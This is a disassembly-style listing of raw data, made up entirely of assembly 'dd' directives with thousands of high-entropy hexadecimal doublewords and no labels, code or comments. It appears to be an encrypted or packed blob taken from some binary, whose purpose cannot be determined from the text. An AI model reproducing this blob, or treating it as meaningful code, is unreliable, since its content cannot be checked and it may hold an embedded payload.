		dd 8DB3459Dh, 0F7E59DFEh, 2F0B05F9h, 55CC6AC2h,	64DF25A6h
		dd 0EF27F567h, 3D507611h, 1606C36Fh, 93C261F2h,	0EB02485Ah
		dd 0E68E3E78h, 41908529h, 3B4D938Bh, 83C7EB06h,	9552F23Bh
		dd 0E466129Dh, 0C9D038E8h, 2589815Ah, 0B1AC038Ah, 4FA7D03Fh
		dd 0C6EB80FDh, 90D4E680h, 48366498h, 24E8A0Bh, 31D5F75Dh
		dd 4734F6EEh, 5D5679D1h, 0ECC9CC25h, 348948B6h,	2BD89D5Ah
		dd 582AD4C0h, 0EDE29F6Ah, 5447605Dh, 0E5692FF5h, 0D15F9262h
		dd 46DFEB28h, 0D219544Ch, 69CF9633h, 0F25A5255h, 19F10B70h
		dd 8CC2A1E9h, 4403D377h, 0C59ECC55h, 7C95E6B2h,	6056C597h
		dd 5BA5E909h, 0CE08E3BBh, 0C3880981h, 5A9744D8h, 31D1B7FDh
		dd 528E82CAh, 42BB53E9h, 0E0D1D0B3h, 12CBD684h,	33000AA2h
		dd 29FA12B9h, 0E5F85BDDh, 0F4760297h, 2BF0013h,	314EB62Dh
		dd 860BFC13h, 7F9C6216h, 0E4CB5D71h, 0C1842085h, 9761BB3Fh
		dd 2AC540D0h, 92C7B6FEh, 0C395CF14h, 84774A68h,	8B99F3FEh
		dd 41CDFE57h, 3F03AB68h, 711B564Bh, 15DE085Ch, 68535E00h
		dd 2E461CD2h, 16325B37h, 3DF2CC7Eh, 2CA2790Bh, 0B977765Ah
		dd 0CF55E989h, 0C248E577h, 9AFFE468h, 0C3376A8h, 0E90BD6F7h
		dd 0BE6CEBh, 0C905F829h, 0B8574F3Eh, 0B850021Fh, 3A474069h
		dd 68122AF0h, 4A33886h,	0E33EEA16h, 0AFD55038h,	9829E740h
		dd 0CA9F2588h, 1F359F14h, 0DEAC7760h, 0E6A34312h, 4C551245h
		dd 6F168BB3h, 0A18CB914h, 2801B43Dh, 2F6661E8h,	0F6D5C0Fh
		dd 0DD8B09D0h, 42A5B245h, 2462DF75h, 1CA018DDh,	48C2820Bh
		dd 31B5C677h, 0EEB74DBCh, 0D0D03A5Dh, 69684591h, 1755661Bh
		dd 2D5C1754h, 1CED200Eh, 25A1C595h, 65173ADCh, 0D1047856h
		dd 0BB003DCDh, 19D0429Eh, 4AA04B5Ah, 60664EBh, 79B8C107h
		dd 0C616D731h, 0E7E85BDFh, 0B7E2FEA5h, 0D970E4D2h, 62A7174Fh
		dd 97885D18h, 591E3CBAh, 64D3458Ch, 52059949h, 993AF4BAh
		dd 5A332A4Ah, 496509FAh, 0DD1F7ED0h, 260931E7h,	0CB862E58h
		dd 0BA6E7739h, 455ADBB6h, 2CCAA634h, 0B844AD06h, 7ACAD69Fh
		dd 5C746977h, 89B71C6Ah, 0FAD02877h, 0F1251F72h, 0DA47757Bh
		dd 0B5F5327h, 0ECE35657h, 3169E7D1h, 0E3007B6Eh, 8FAAA147h
		dd 58C61389h, 9D0D0646h
		dd 50B76EFDh, 7A4C59A5h, 97AF9982h, 0E0769F40h,	17708181h
		dd 0D0D62F3Fh, 0B725A377h, 0D514E1BAh, 36991238h, 527C6451h
		dd 0EC88501Eh, 0E84CF7Ah, 0FEEE61EEh, 830005D4h, 6A71681Eh
		dd 409EC55Bh, 0E257FB87h, 0E0441DACh, 0A9E2C1E6h, 703CF32Fh
		dd 18758495h, 0EAA8485Fh, 0BEB20F12h, 4A79BF8Bh, 9803F33Ch
		dd 9FCF0195h, 8472FBF6h, 0BB03B3CAh, 34C10A09h,	3E482F89h
		dd 11B80206h, 0C2573668h, 1F20F545h, 3DA7088h, 49EBE2D7h
		dd 5C51582Fh, 0F3C82864h, 217E4163h, 7BA321B3h,	0C8257B5h
		dd 35B5677Dh, 0A43EC340h, 1E710C80h, 9351C42Ch,	0C33CA458h
		dd 157C3506h, 51480132h, 9E9608EBh, 5EB001FBh, 6F366249h
		dd 98CCC004h, 12D9E2BFh, 25A681EFh, 0B2A5E812h,	78CC96B2h
		dd 1DE92656h, 0A46885CBh, 79A04444h, 0F4B9009Bh, 0BC612220h
		dd 5B0740F1h, 579C4BF3h, 28AAF107h, 0F4F7E9E2h,	2D480759h
		dd 407091FDh, 0CC042F09h, 21FF0830h, 81F5B76Ch,	4B69EAF4h
		dd 0A7E79CEh, 2D08C2C3h, 0DFD53AD7h, 0C5922144h, 2FEEE095h
		dd 0A0255A04h, 810341EBh, 0B65915E1h, 0CB742026h, 0B6E08928h
		dd 4A5D395Dh, 0C21910A7h, 2B31ECC0h, 0EDB0B5ECh, 54021514h
		dd 0E9D5294Dh, 23FCA50h, 8CF049Eh, 0C83D0BF0h, 0BE0954FBh
		dd 951CC4ABh, 0DAC4EF4h, 92CC4A3Fh, 669040F3h, 31E6CAF2h
		dd 0E0B2E7BAh, 2DE90880h, 67287D69h, 9868842Bh,	54D3CC06h
		dd 0C2535F24h, 0BC0F9E01h, 0A02B977Bh, 75B6B5B4h, 0E4FD310Eh
		dd 291852Ch, 0DD2C045Ah, 0EE11EBD7h, 33BB4009h,	1DD34918h
		dd 4D5558h, 0F10D2C95h,	0E90FEF7Eh, 469BC325h, 0BD98487h
		dd 176C8CBDh, 7EDC182h,	0DF83B9F4h, 511CAE12h, 8CF89C16h
		dd 0BD714E2Fh, 0C75B7935h, 0E9A478EAh, 0C578A230h, 4E90D6B1h
		dd 0ED022C8Dh, 1635857Bh, 0C9837A62h, 0D0687674h, 0E660081Ch
		dd 201F5457h, 76DE60BDh, 9865731Eh, 3F3A0962h, 24D4397Fh
		dd 1F14CB01h, 0BD006152h, 49B01C17h, 10F9A120h,	401A0B68h
		dd 14D78BFCh, 6FB65981h, 22B2522Ah, 0FA622930h,	0EE57F562h
		dd 0B6520109h, 2826B583h, 73672FF5h, 0C5FE31B0h, 80E50ED0h
		dd 0D67D3BEDh, 9FA60B69h, 0AF9C8DFCh, 2859E800h, 286866D8h
		dd 2F4146h, 0B353F4B1h,	5628E9BDh, 25424697h, 0C1A45A8h
		dd 9C6BE7DFh, 1DA955E9h, 0FB79BB02h, 7062F84Eh,	0E9F748DFh
		dd 0BE944FFCh, 3FB2E167h, 5D1EA58Ah, 89D5B2BFh,	1C795751h
		dd 52B0D425h, 0C3F251DFh, 0FBFCD3E9h, 0D5430F4Ah, 0D7B71A01h
		dd 0B93801B5h, 1ED8E90Bh, 0E458F274h, 3ABE2E48h, 91981215h
		dd 0ADD047D6h, 4C4DAC6h, 915948F5h, 8C2D8019h, 42123AD7h
		dd 610FEB89h, 5C0E04E3h, 10436B8h, 0AE45E94Bh, 5D4C3BECh
		dd 9EE99CCBh, 0B72E20DBh, 38547D1Fh, 0F6527549h, 42B4605Dh
		dd 0E7728853h, 65BFA2Fh, 202CEBB1h, 293B2BC1h, 8BC69BC3h
		dd 323807CDh, 0C511D472h, 51EBC8Fh, 30DE62Dh, 96069587h
		dd 4C5A6F14h, 15DFFB2h,	0F452C965h, 0AEB9162Bh,	7B03268h
		dd 2CD634CAh, 68AB83F1h, 0E14B2A93h, 91B114FBh,	0E5F0AE2Dh
		dd 99B8054Bh, 0ACBEBB4h, 0EA0B1C20h, 2136610h, 6005E3E8h
		dd 2502C0A7h, 0E0DE933Eh, 0F1EBB009h, 0FD04BDDh, 951ADD0Bh
		dd 66B05731h, 8BBBD3BFh, 0ABC34D8Bh, 0D7110B63h, 0DBA0260Bh
		dd 4CB439E6h, 2EB62BF9h, 0C9A5CA12h, 55D82F34h,	1BD96FEh
		dd 0EA3F35B9h, 0FBE32A22h, 494FF05Ah, 0CF027294h, 0DDDD15C0h
		dd 5609A5C7h, 7A14DCFFh, 402F0B73h, 9618E408h, 0C8326487h
		dd 465F1148h, 832F6AB3h, 6FD3B3C9h, 70C3AE2Ch, 0F0E79502h
		dd 0E2A6E904h, 0DE4A1E92h, 0B8B82D7h, 48551540h, 5595D1Dh
		dd 0A9683D2Ch, 0E94B4233h, 33806DEBh, 5E04F0C0h, 542361B5h
		dd 8B9AE33Fh, 5CD1C1C3h, 0D39DFD7Eh, 0F7AACF04h, 92E8E3BBh
		dd 444DDAFBh, 0E912529Fh, 25CD8931h, 0B4188B6Dh, 3BF24923h
		dd 6F4A3873h, 0A3FBC284h, 0C7069535h, 0FD09D1D0h, 4DA7C2C5h
		dd 8258141Fh, 0A15102D3h, 76E1D502h, 900B2ADEh,	888D6753h
		dd 12243A11h, 0C0A6CF01h, 0C8305E7h, 53DFF626h,	3E245499h
		dd 52B59981h, 1A9DE5F8h, 5C8AB3E9h, 0E0F14E75h,	0BB0AC0D3h
		dd 14725C63h, 0BAB9E097h, 301B1EE5h, 40DA1AF5h,	9E278E5Eh
		dd 60D6B75Dh, 9D2D1346h, 2A7E6EF0h, 0FC1B1CBDh,	350640F2h
		dd 0A703EE39h, 2C4CD453h, 57E958E1h, 0C99B9F5Dh, 0FE65F550h
		dd 9B48756Bh, 59817870h, 0C4D7B87Eh, 0D9AB08ADh, 49F5005Eh
		dd 31FB7B50h, 0CB07C0FCh, 55430104h, 16AA60E9h,	0A9CDAA1Bh
		dd 0B1F86731h, 3588295h, 7291570Fh, 2F1B85D1h, 3939D9ABh
		dd 44A85E8Ch, 91F5085Bh, 63B6D220h, 2870543h, 0FDBBC317h
		dd 82FDB11Dh, 76D95B29h, 0B1CAC489h, 0E3042A9Ah, 0A4EFC201h
		dd 0BF4056F3h, 0E7C7F866h, 42BEA8E3h, 1C29F22Dh, 0B179E9F7h
		dd 69465BD9h, 2CBBA473h, 0B4603BDEh, 5108B83Ch,	20DE90A0h
		dd 7A97F607h, 501AF06Bh, 0AEFA909h, 5C3C522Eh, 94B35A7h
		dd 5424E317h, 9028B5Dh,	610AE950h, 817A2998h, 82DF4B83h
		dd 11ABB10h, 19A38244h,	0DEE5D508h, 9BC64E25h, 29C03C53h
		dd 846554BDh, 918537E9h, 0C9F388C7h, 5577FDDh, 2DE9EC98h
		dd 25E8B444h, 3200C8B9h, 42BB1081h, 15AA73C6h, 0D959CB29h
		dd 0ECC04512h, 27CACBECh, 0C955BC4h, 0D0C905E3h, 0C1FE4B62h
		dd 21270C39h, 64164062h, 0AEF089A2h, 77433D99h,	1C374A59h
		dd 90D7CCCh, 200E5E75h,	366077FFh, 8323C0Ch, 0BA72B76Dh
		dd 0F5680881h, 5AE79773h, 0ED4A8CBCh, 0F0C5B6CAh, 940BB2E5h
		dd 407CA7F7h, 0A021955Bh, 3500690Ah, 0E071D801h, 1C7CD8C8h
		dd 6F252EB8h, 0E5CB586h, 5D222D04h, 0C881088Fh,	8E697F71h
		dd 4561392Fh, 5C6920BDh, 535A2C7Ah, 67406AD7h, 127CAA52h
		dd 3532C668h, 69F0708h,	0E5F709B9h, 3EC3AC29h, 4B9C0072h
		dd 0BA5228B8h, 0ED3E6A8Dh, 0CAEB0338h, 15BB131h, 0F4679B24h
		dd 7820E940h, 74BE7C5Ch, 2F6F3858h, 81402A8Fh, 3B1661F3h
		dd 0C0E152DAh, 0E4018C61h, 0F6009E90h, 0DD0934D0h, 0F94D9F68h
		dd 0B091898Dh, 1D5898DDh, 0F7AEA83Dh, 0C7FBC775h, 12E1B02Dh
		dd 0CAF1EF01h, 32E90881h, 0D155C2CAh, 4A163D2Fh, 2A4AA505h
		dd 1915D01h, 0DBF80EE6h, 1CFC9D99h, 7830F572h, 80802D5Fh
		dd 0C0B503CAh, 0C2FE08EAh, 824155C7h, 0E8D55A3Fh, 88E758DAh
		dd 821E0AC1h, 1EE9651h,	62705C25h, 725FEDD7h, 5DC6FE47h
		dd 0C504C9C9h, 0FA50DF08h, 0B7D27B87h, 0EB79759Bh, 0B8479EBh
		dd 9FEB824Fh, 2438EB9h,	5D47425Bh, 0BB27E496h, 0C1657FCh
		dd 9B4A7990h, 839CC091h, 0F8F2C93Bh, 0E1C596B2h, 0E082F9C2h
		dd 0A2E95F9Eh, 9F51D6C7h, 9B88C321h, 89AC1D18h,	19D30967h
		dd 2218E4A2h, 74462385h, 3438FE75h, 1A1CF701h, 14041C08h
		dd 4CDFB5Eh, 7B6E6440h,	4A192DFBh, 0D555A875h, 0BF008D2Ch
		dd 0E96215F9h, 8FE497BEh, 0CF9D0C48h, 9372156h,	803F3560h
		dd 0E5644E27h, 0F089211Eh, 6F570541h, 0B46E1997h, 23133174h
		dd 0A472D1E3h, 5DD349CAh, 0E1B1C0D8h, 0A569F82Ah, 5A05FCB6h
		dd 40FD08E9h, 6B63EEACh, 292E4A4Bh, 820E3CEh, 514BBA9Ah
		dd 38F550E9h, 942FE915h, 0D190FF8Dh, 0F63977B2h, 6DDA24D2h
		dd 93E97C02h, 13B97FBCh, 7E4DF154h, 0F7BEA30Bh,	184525AFh
		dd 0C85F0702h, 0CEF70B61h, 0E0D9B74Dh, 0D2262A60h, 0F5FDB03Eh
		dd 3D521BA9h, 1AC26A2Dh
		dd 0BF8F80FDh, 0BF2C291Bh, 312CEE8Ch, 4429CB4Bh, 18FD42A7h
		dd 4A29E96Ah, 900BECA6h, 695E0789h, 9EE27D70h, 7F59CAA3h
		dd 0C7F09A04h, 17D4B4Ch, 1FAEE986h, 8BDCD12Bh, 9E18727Dh
		dd 0D3C4FED2h, 0B41F6EEh, 8318E8C1h, 0DC40685Dh, 2F39318Dh
		dd 0EE2F027h, 7C011B10h, 5F4605B6h, 0BF5700C5h,	1D911943h
		dd 6C09CF81h, 370FF7Ch,	87829584h, 0D61B702Bh, 0C5C0FD2Ah
		dd 39FEA2A8h, 43B0F8F5h, 4A5BD997h, 7A5905A9h, 51B90BD2h
		dd 58634BABh, 69BCA2C1h, 48AD0112h, 0D8F73A7Fh,	0E905F282h
		dd 0BCE8B70Eh, 438A3E66h, 3BC7C0BAh, 8A724887h,	5B49FA10h
		dd 29BD45FBh, 0B462AAF3h, 0BFDF8E3h, 21606C7Fh,	962EEDF0h
		dd 688466DAh, 0A3A92410h, 3E8413A1h, 29874CEDh,	55ECD2C6h
		dd 60CB1A5Ch, 1A350794h, 78F3012Ch, 725F0809h, 607C99D5h
		dd 11274968h, 0C68D574Eh, 4BB2B27Fh, 0AB68FEF0h, 64265E40h
		dd 54D8BA1Dh, 0C0E1C0CFh, 0C68008EEh, 20C6167h,	0E9A3F660h
		dd 97BE9A14h, 0E4D78441h, 0A0A1C9F9h, 21B705Eh,	7BAAD40h
		dd 6D37462Dh, 0ACABBE42h, 73A44254h, 0BC09A402h, 827D095Ch
		dd 620DBB91h, 2CCE4079h, 32709F69h, 56A6E912h, 7DB6F1D1h
		dd 89EC59D1h, 0CD408290h, 0B2E47C3h, 760B3C4Bh,	64C8FC58h
		dd 2984AA5Ah, 0E57838BDh, 17D66017h, 0B6F616C9h, 9051395Dh
		dd 0E2B64F8Dh, 0A044AB4Ah, 0F5BE71F3h, 0D06E9DF3h, 0B6C25A9Dh
		dd 79F02851h, 0D830BC82h, 0D6F6B11Ah, 0CED3E93Bh, 0EA9F3993h
		dd 12B0FDD4h, 4E407C68h, 7AA327E9h, 5765CE56h, 2AB9E2D0h
		dd 4829272Eh, 0BB536540h, 425F6B09h, 6725043Fh,	639D2382h
		dd 7EFBE64h, 250E72E5h,	47C56734h, 89EB520Ah, 2A1B5A7Fh
		dd 9D3793E2h, 681C2C36h, 7F2572FAh, 0E90429E7h,	95BD9C55h
		dd 6C253390h, 5957D642h, 0FBE9C35Bh, 78975DAEh,	8268F862h
		dd 954CFB04h, 8E40AFFFh, 63AFA730h, 45CD5F21h, 0B444F660h
		dd 6C256819h, 0D8961B4Bh, 32EFCFB5h, 5A33D331h,	59124E67h
		dd 7ABFDF43h, 0BA1EE077h, 0D60BDF7Eh, 2C0C816Eh, 0BEF14749h
		dd 162929Dh, 0F280E609h, 5A0C2040h, 6812B9F6h, 0DB611E35h
		dd 0CA3369BAh, 0B3DFB005h, 0B17AC2C2h, 1EF15F04h, 63D1E700h
		dd 81F24D94h, 0DA45694Fh, 0E1149534h, 0CC40E918h, 0EEF529C2h
		dd 5F954AD8h, 4070978Ch, 725BE1Fh, 519F4206h, 0FB043D3Eh
		dd 80605E3Fh, 994EB6DCh, 350C4560h, 0C0345659h,	37020919h
		dd 5F4A16E9h, 60427E60h, 0E8334A2Bh, 4FFD1AAFh,	74EF8006h
		dd 0B5C90646h, 0ED399CF2h, 6FFF2EC2h, 48678F3Ch, 0E99581DEh
		dd 743915D0h, 5EE24410h, 16CF26C0h, 0DF0E591h, 0C04182B8h
		dd 0FC51D88Bh, 6153314Ch, 4D4A7928h, 627077E2h,	2E5B0881h
		dd 0E96738BBh, 0EA480B27h, 707E40B0h, 36833153h, 0A5C88886h
		dd 6D677793h, 80A2112h,	0C309F409h, 0D7194A44h,	8557A0C9h
		dd 6709910Eh, 0ABEAFD00h, 2710B2CFh, 0EC842E9h,	0FD1356EBh
		dd 0ECA0C464h, 0B8579558h, 809CBE87h, 43B740BFh, 5830D113h
		dd 0CD049C62h, 0FE784773h, 3BF263E4h, 41894D17h, 8DD0DA87h
		dd 466F9D34h, 2B7C67AFh, 7957F01Ah, 0D80B3C60h,	0DE0AE953h
		dd 0FEEA4049h, 7ED6FBBBh, 0E8290344h, 0B005FDBAh, 0BE0D48E9h
		dd 392D427Ch, 0C95A5D62h, 0E003E92Fh, 3A0F2C7Fh, 2B259404h
		dd 0EBE9FAD8h, 0F90381C5h, 0BFE22A70h, 0D200DA90h, 89EFBA15h
		dd 475C5EF7h, 30E70469h, 42814CA0h, 0E2F50EE0h,	2F481220h
		dd 0CBF28B7Fh, 181BC7Ah, 0F6584F20h, 2A10B76Fh,	0D6B79A30h
		dd 2CCAEBh, 7A8646ABh, 54D0CF01h, 58E91608h, 95CA4520h
		dd 1B11275Eh, 4101980h,	0D64C31CCh, 583F4Eh, 0A472C72Dh
		dd 39D0F715h, 35074595h, 32512EF0h, 0F17FC189h,	4BE9C2E9h
		dd 0D7FCDD4Ah, 0E86E8FE2h, 0B65FDE95h, 0E46C6226h, 5D00CAD3h
		dd 0BA783305h, 0B5DCBF0Bh, 49D0F1ADh, 43DB515Fh, 0BB8432E7h
		dd 4BF385F8h, 1745894Fh, 9DAF49BBh, 0AC51ECABh,	799E129Fh
		dd 0C360AF48h, 0B0D5F9Eh, 0BA0BF2Ah, 2382DB04h,	0F829F5EAh
		dd 0B4C92E84h, 8E4A6D8Ch, 20053ED1h, 0F8499DDCh, 0EACE4BC1h
		dd 12AAB865h, 0ABCDEA5Dh, 0E860E0CDh, 0E3129DB6h, 3A619461h
		dd 947ADD8h, 292BAD0Ah,	58CBD37Ch, 1BC82002h, 4B4F6DBCh
		dd 68E4C8A1h, 0BF469F06h, 7E4AD9FCh, 18AC3199h,	536F02A9h
		dd 22571E4Eh, 3736BCh, 0DA2FA1BBh, 2DE2165Fh, 29D38817h
		dd 60136E53h, 4822A918h, 65320905h, 0BCD08DD7h,	701C8B0h
		dd 4E02CE81h, 0A46B6AB7h, 2D76B599h, 77B07448h,	820985F6h
		dd 5F7E05E9h, 253452B0h, 78CEF283h, 0B8BA0F45h,	89BE9F56h
		dd 0FC1A576Bh, 42E8BF00h, 51504E9Dh, 0A09BBAFh,	0D5897B90h
		dd 0BCB00985h, 0DD0D1CC0h, 8556AE09h, 22443F0Eh, 0F2BF5AB4h
		dd 0C1BED3FBh, 555BE460h, 0A4988318h, 5B311026h, 0F69C1A0Bh
		dd 0ADC362C9h, 0E5C28F09h, 4CD19390h, 64A50B8Bh, 9236EF77h
		dd 4FBAF0BDh, 8E0F0E98h, 861B0D2Dh, 2DCCF4A9h, 19F9485Ah
		dd 0D7050400h, 0BF5E542Eh, 0F381E7C0h, 0D566DD17h, 4E395DFEh
		dd 0E9428F20h, 6849F18Eh, 25ACDCD9h, 8BBF95B9h,	2C0332Dh
		dd 0D759CE1Bh, 6813B864h, 0FFB3363Ch, 236F5012h, 7BC12CD8h
		dd 5E58A76Ch, 5B5B543Fh, 6807D38Bh, 42365474h, 0DAD1233Dh
		dd 7A716582h, 1C7F032h,	2139A4B7h, 0DE62E9DDh, 83C3BC4Ah
		dd 5AF3F9D5h, 49192EBAh, 0C8CAC475h, 0BDC086F9h, 0AB19E841h
		dd 2C10E910h, 432C33Bh,	1CE15BEFh, 76F9F4D3h, 454B22F8h
		dd 277BC7A7h, 6EE8653Ch, 0A82F685Fh, 8112F91Dh,	61436BE1h
		dd 2B222141h, 92887FC0h, 0C5F351D7h, 973B86E8h,	0D18303F1h
		dd 916F5A68h, 0F97E3C87h, 0E2148891h, 44DD5655h, 0D8303B29h
		dd 0C27F1599h, 65E92F50h, 9F407889h, 801CDDF6h,	0F5C210EDh
		dd 0F7172CE7h, 2CA4A443h, 658CA030h, 0FDC59D87h, 0A3AA08h
		dd 0DEBF575Ah, 757C610Eh, 63FE9449h, 12B17276h,	0AADA290Ch
		dd 3220A208h, 92446FFCh, 6566F2BFh, 0FFB93E57h,	0F1B5A877h
		dd 0E7C1B644h, 91AC781h, 8AEB3F81h, 3BED8F01h, 0AEC15683h
		dd 0BDF2222h, 59F9F209h, 0D65EA2h, 0E905A973h, 5A14D731h
		dd 4F6DFF7h, 2C130C30h,	0EA269C0h, 0D97C481Eh, 0ABD36348h
		dd 0FF526B92h, 0E912EACEh, 35C93B9Fh, 17CA6020h, 0FE571B2Ch
		dd 42637DC0h, 16E0B76Ah, 220B39D1h, 7DEA8946h, 599EEA3Eh
		dd 509E6827h, 78D62FE9h, 150BBA66h, 60A15Dh, 59E99366h
		dd 9C7EBFC0h, 0DD448142h, 0D95F5E4Ch, 0E1BECA01h, 57203D41h
		dd 51DC058Dh, 0EFF10156h, 0B050DA98h, 55CD4CEDh, 66797620h
		dd 0DC5A44EEh, 2A1A3DAEh, 7A3F2BAEh, 99F26AE9h,	76F5E9B0h
		dd 30FC2F95h, 96A2D10h,	7D99B151h, 0FA1CF8F0h, 0C802B52Ch
		dd 0FAD5E952h, 18ED0545h, 0F471917h, 4AC545C9h,	29E6AEC8h
		dd 0ADB42F7Bh, 0D813B945h, 935FFC82h, 0A0ECE26Ch, 4051BEC6h
		dd 92355896h, 0BF26B500h, 0B4B2E90Dh, 203A3AB9h, 0BABD4B7Ch
		dd 60BC4744h, 77E6D5D2h, 7FEA4FF8h, 84FC1730h, 70063CEEh
		dd 723E90D4h, 34F098F3h, 804A8840h, 3C1ABEE6h, 2E53C030h
		dd 2C697B5h, 0E9F13169h, 0C7668734h, 85A2CC0h, 9D16816h
		dd 1428E9EEh, 53705CDEh, 73B00A50h, 16A4D0F6h, 2694A197h
		dd 0E1F7024Ch, 7D7ECF68h, 6960B0B8h, 0A6C0DD82h, 59975C80h
		dd 0B5758A60h, 51998784h, 0BB538111h, 310D969Bh, 3320204h
		dd 4CADBF01h, 0D4B03A8Ch
		dd 54360207h, 9B6FE94Eh, 10C84966h, 685D041Bh, 2E32C943h
		dd 2EBBEE5Eh, 5F6AA55Eh, 1A0B4B0Bh, 25D9D248h, 80F494FAh
		dd 81108364h, 0D5AE6574h, 0A0F595CAh, 81394B56h, 12C50422h
		dd 80FBA37Fh, 24CA6F56h, 0B3E9430Bh, 0DD33B03Ch, 55058072h
		dd 2D7D4700h, 0E56AA925h, 17E3F43Eh, 0AAC99FF7h, 2CE91728h
		dd 9DF2A069h, 0D646CBDEh, 0F587D17Eh, 3152292Ah, 0ED94D5CDh
		dd 4C456813h, 5ECFD8A8h, 0A9540249h, 2D0117C0h,	3AA6B679h
		dd 3C938E2h, 6CD545BAh,	0F6F255D7h, 40C9DE20h, 0F7068105h
		dd 6B864618h, 41853B0Ch, 2B47492Dh, 7FEDE907h, 0F0B0720Bh
		dd 54896756h, 0A874E453h, 0ADB80092h, 3516AB7Ch, 7E2E00F6h
		dd 12762D5Fh, 0E9126A96h, 9343FC7h, 350188FCh, 0F1813BDFh
		dd 650DA82Bh, 58287966h, 0B36B20B2h, 87DC8295h,	9FE45B5h
		dd 0CED3CE68h, 0D113750Bh, 67A0BCE5h, 32202D04h, 0EACB1234h
		dd 0A197985Fh, 0EA77C65Bh, 5FE0B7B5h, 94C8B05Ah, 4E8D927Eh
		dd 0C0D7D1BDh, 0ACF12921h, 7D870997h, 0E9616A59h, 8D7D7C9Dh
		dd 0A0AF6C2Ah, 48533B58h, 6D756875h, 7F97236Fh,	68DB3FA1h
		dd 2A315CDh, 24912CE5h,	0AA109300h, 82E916A1h, 6865D37Ah
		dd 31D82CF0h, 0D59EF262h, 0F6AD45Ah, 0B9E15150h, 260CDE4Dh
		dd 24A14B4Ah, 19CBFC40h, 34F090E5h, 0EA0DCCEBh,	9432BA81h
		dd 0E8835800h, 5480103h, 0ABD2C1B2h, 0E7CBA789h, 137B3BC5h
		dd 0AB0B6B94h, 0C812B7CBh, 82F237A9h, 0FBEBC538h, 64FA2EF1h
		dd 0C1B4EA6Ah, 0F67ED02h, 50F5C027h, 0FC08A2B8h, 0ABC52D35h
		dd 4016AA7h, 0DCF0FF9Ch, 62051742h, 4124FD31h, 0FC1CA708h
		dd 0FF0CB45Fh, 7FF26B89h, 0B1D577EAh, 0C22E1EA2h, 305F545Ah
		dd 80A53316h, 9698CF29h, 5CF0FA97h, 32C9A59h, 27D1056h
		dd 44060EB8h, 39D55E65h, 9428FDD4h, 0B7C74046h,	237D930Eh
		dd 0AC3CD02Ah, 7614F309h, 0EB1383B5h, 7060503h,	0A67592E9h
		dd 44BF04F4h, 113700Dh,	32688BBEh, 0C1AC505Ch, 6C205E2h
		dd 40D2F704h, 0B348A4Dh, 0C5E95654h, 882D185Dh,	0F8E8E4DDh
		dd 0BBAB4B07h, 34D26CEh, 0E5E68415h, 0FBE18816h, 5498E222h
		dd 3E3828DDh, 473D36B0h, 2F80069Ah, 0ED814C7Eh,	3B2A082Ch
		dd 60CA0E30h, 82BA2079h, 207AFD53h, 14D67BB0h, 519ACAABh
		dd 5D652AAh, 0E6ACED7Ch, 0F9F0BA71h, 0C9E9056h,	782F2C4Ch
		dd 7060D40Ch, 5EF02966h, 8110B2Dh, 8DF49C2h, 782507AFh
		dd 0AB282D7Ah, 61D00F55h, 21967DB1h, 0D272EF2Bh, 3FFE7EBDh
		dd 4906F250h, 8A6049F0h, 5D083E93h, 0A1685B0Bh,	207325Eh
		dd 64C3310Eh, 2C3D2745h, 565A9F56h, 826807BEh, 0F177094Ch
		dd 0C7EF402Eh, 0D4BDF13h, 841CABDh, 0AC4EAC73h,	241F3CF9h
		dd 0E285A41h, 7AA846A3h, 8B90951Ch, 8027EF2h, 0A5E94494h
		dd 0A07A72DAh, 8083BF1Ch, 7890EFC1h, 5F12475Dh,	39F97BF0h
		dd 5033538h, 291E48C2h,	452DC889h, 4F67AA07h, 9ED6841h
		dd 88827857h, 24246C5Bh, 6F06BE13h, 5260CE09h, 625FEB68h
		dd 402B488Ch, 0FF0F2542h, 4B3EAF7Bh, 0CBFC5AF0h, 4D075C78h
		dd 0FE529FD1h, 321712DAh, 5C91EB83h, 0F3CCE6E3h, 4AF9FAAAh
		dd 0F364FBA1h, 961BF8AAh, 0B554F22Ch, 2E4CD831h, 1315715h
		dd 4A187C43h, 9FCBF281h, 58319462h, 93EE577h, 0F355BD1Fh
		dd 5C910EBFh, 711014Fh,	29902EA8h, 5132579Bh, 8280C0Dh
		dd 5D975D1Ch, 7F59B099h, 0EDDFA3E6h, 0E8C36D68h, 0BAFBA013h
		dd 0BFED10E0h, 65DC810Bh, 0F9913602h, 5ABDC1E6h, 12C64B81h
		dd 6FA6029Bh, 0E909A38Eh, 0CAFDD0C1h, 49C059E5h, 6804BC59h
		dd 0AFE82C43h, 0E4FD2DC9h, 1C989Fh, 305A1D5Dh, 0D97E540Dh
		dd 0A8E97D12h, 0C28041C0h, 0E2D03ADDh, 0ECFEA9Eh, 0B715BBF2h
		dd 0ED10BF7Dh, 569FD97Ch, 16C04F57h, 14055587h,	0FC45132Dh
		dd 72D1457h, 75055B3Bh,	843DB24Ch, 0CCF2EA34h, 0B371FFD3h
		dd 0FBACB0CCh, 0A3DE0A8Bh, 65C650F7h, 45F31007h, 548EEE29h
		dd 875D0B08h, 0A537334h, 499A80BBh, 0FA72EDA5h,	12D601F2h
		dd 0E4D7BC20h, 5A19E5CEh, 8B311039h, 0DA2592A8h, 750E4D46h
		dd 7BB2520Fh, 0D3FA4BCEh, 6A2728F6h, 0DA1D892Dh, 0E977C339h
		dd 0BB844BB4h, 1296D8F2h, 5084E91Eh, 68806232h,	8A0E149Ch
		dd 9E10D715h, 84B90221h, 7D19587Eh, 4406AD0Dh, 0E90B02ADh
		dd 0EED56BD4h, 462EED29h, 1E1CF656h, 1F45504Ch,	588EE220h
		dd 274C0235h, 0E2E07D45h, 14EE948h, 68574200h, 5C9A3AC9h
		dd 0AD8A1737h, 8BF82E5h, 33E15B28h, 0DA6BDDCFh,	0BBEFBF40h
		dd 0E9090CDEh, 882E26F4h, 0B26E7980h, 3CE2097Fh, 450B12FAh
		dd 205C682h, 175E1ED6h,	0BF9F65Ch, 0DF189CF7h, 264F7768h
		dd 0F9CDE1EDh, 0AD003A3Dh, 4E732EC6h, 139D2F68h, 0BA803551h
		dd 0EA75FB0h, 30EE3DBEh, 0D629C08Ah, 9EA90AC0h,	0BDC793F5h
		dd 0A4D39D4Ch, 4ACF1740h, 953B942Bh, 2E855CFCh,	0A880BAE3h
		dd 7158BC6h, 75E962CCh,	3BD70B1Bh, 7C9CE28Fh, 0B25A1676h
		dd 0F2F78BC8h, 71F86050h, 4A63C1EBh, 875F6C13h,	0E9A08BBCh
		dd 7CBDBF11h, 60D7CB12h, 1292F5AEh, 1750A78Fh, 0DEB0E41Ah
		dd 0C89E39EEh, 9F56521Fh, 0FFBB31A0h, 0C95D03A5h, 0C4C02E8Fh
		dd 0BA09874h, 6077AC0Dh, 9427975Ch, 219E9566h, 68C80F05h
